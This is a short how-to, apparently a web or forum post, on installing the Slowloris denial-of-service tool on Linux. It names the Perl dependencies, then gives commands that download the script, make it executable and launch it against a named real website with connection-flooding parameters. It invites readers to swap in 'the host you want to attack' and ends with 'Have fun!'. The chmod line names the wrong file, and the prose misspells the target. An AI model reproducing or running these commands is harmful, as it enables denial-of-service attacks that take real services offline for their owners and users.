How to install Slowloris on Linux
Install perl from your packages, you should find it easily. Note that you need ithreads to be enabled (it should be enabled in most the distributions by default; on gentoo you should add the ithreads USE-flag before (re)installing perl).
Then, you need IO/Socket/SSL, that you should find in your packages or searching on the web. In ubuntu, the package is libio-socket-ssl-perl; on gentoo, it's dev-perl/IO-Socket-SSL.
Then, open a terminal/console and type (or copy-paste):
wget http://ha.ckers.org/slowloris/slowloris.pl
chmod +x slowloris
./slowloris.pl -dns gerdab.ir -port 80 -timeout 2000 -num 500 -tcpto 5
You can replace gerbad.ir with the host you want to attack. You can also replace values for timeout and number of sockets (just by changing the last line), but these options should do it. If you want to run Slowloris again, once it has been installed, just run the last line.
Have fun!